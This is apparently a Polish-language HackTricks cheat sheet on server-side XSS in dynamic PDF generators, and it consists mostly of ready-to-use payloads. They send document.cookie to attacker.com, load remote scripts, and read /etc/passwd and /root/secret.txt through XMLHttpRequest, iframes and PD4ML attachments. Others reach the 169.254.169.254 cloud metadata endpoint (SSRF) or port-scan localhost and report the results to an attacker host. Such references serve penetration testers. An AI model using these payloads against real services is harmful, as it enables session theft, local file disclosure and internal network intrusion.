Server Side XSS (Dynamic PDF)

Support HackTricks

Server Side XSS (Dynamic PDF)

Jeśli strona internetowa tworzy PDF przy użyciu danych kontrolowanych przez użytkownika, możesz spróbować oszukać bota, który tworzy PDF, aby wykonał dowolny kod JS. Jeśli bot tworzący PDF znajdzie jakiś rodzaj znaczników HTML, będzie je interpretować, a ty możesz wykorzystać to zachowanie, aby spowodować Server XSS.

Zauważ, że znaczniki <script></script> nie zawsze działają, więc będziesz potrzebować innej metody do wykonania JS (na przykład, wykorzystując <img ). Również, pamiętaj, że w regularnej eksploatacji będziesz mógł zobaczyć/pobrać utworzony pdf, więc będziesz mógł zobaczyć wszystko, co piszesz za pomocą JS (używając document.write(), na przykład). Ale, jeśli nie możesz zobaczyć utworzonego PDF, prawdopodobnie będziesz musiał wyodrębnić informacje, wykonując zapytania sieciowe do siebie (Blind).

  • wkhtmltopdf jest znany ze swojej zdolności do konwertowania HTML i CSS na dokumenty PDF, wykorzystując silnik renderujący WebKit. To narzędzie jest dostępne jako open-source narzędzie wiersza poleceń, co czyni je dostępnym dla szerokiego zakresu zastosowań.

  • TCPDF oferuje solidne rozwiązanie w ekosystemie PHP do generowania PDF. Jest w stanie obsługiwać obrazy, grafikę i szyfrowanie, co pokazuje jego wszechstronność w tworzeniu złożonych dokumentów.

  • Dla tych, którzy pracują w środowisku Node.js, PDFKit stanowi realną opcję. Umożliwia generowanie dokumentów PDF bezpośrednio z HTML i CSS, zapewniając most między treścią internetową a formatami do druku.

  • Programiści Java mogą preferować iText, bibliotekę, która nie tylko ułatwia tworzenie PDF, ale także wspiera zaawansowane funkcje, takie jak podpisy cyfrowe i wypełnianie formularzy. Jej kompleksowy zestaw funkcji sprawia, że jest odpowiednia do generowania bezpiecznych i interaktywnych dokumentów.

  • FPDF to kolejna biblioteka PHP, wyróżniająca się prostotą i łatwością użycia. Jest zaprojektowana dla programistów szukających prostego podejścia do generowania PDF, bez potrzeby rozbudowanych funkcji.

Payloads

Discovery

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Każdy z poprzednich lub następujących ładunków może być użyty wewnątrz tego ładunku SVG. Jako przykłady podano jeden iframe uzyskujący dostęp do subdomeny Burpcollab i drugi uzyskujący dostęp do punktu końcowego metadanych.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Możesz znaleźć wiele innych ładunków SVG w https://github.com/allanlw/svg-cheatsheet

Ujawnienie ścieżki

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Załaduj zewnętrzny skrypt

Najlepszym sposobem na wykorzystanie tej luki jest nadużycie jej, aby zmusić bota do załadowania skryptu, który kontrolujesz lokalnie. Wtedy będziesz mógł lokalnie zmieniać ładunek i sprawić, że bot załaduje go za każdym razem z tym samym kodem.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Odczytaj lokalny plik / SSRF

Zmień file:///etc/passwd na http://169.254.169.254/latest/user-data, aby spróbować uzyskać dostęp do zewnętrznej strony internetowej (SSRF).

Jeśli SSRF jest dozwolone, ale nie możesz dotrzeć do interesującej domeny lub IP, sprawdź tę stronę w poszukiwaniu potencjalnych obejść.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Opóźnienie bota

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Skanowanie portów

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Ta podatność może być bardzo łatwo przekształcona w SSRF (ponieważ możesz sprawić, że skrypt załaduje zewnętrzne zasoby). Więc spróbuj to wykorzystać (przeczytać jakieś metadane?).

Attachments: PD4ML

Istnieją silniki HTML 2 PDF, które pozwalają na określenie załączników do PDF, takie jak PD4ML. Możesz nadużyć tej funkcji, aby dołączyć dowolny lokalny plik do PDF. Aby otworzyć załącznik, otworzyłem plik w Firefoxie i dwukrotnie kliknąłem symbol spinacza aby zapisz załącznik jako nowy plik. Przechwycenie odpowiedzi PDF za pomocą burp powinno również pokazać załącznik w czystym tekście wewnątrz PDF.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Odniesienia

Wsparcie HackTricks

Last updated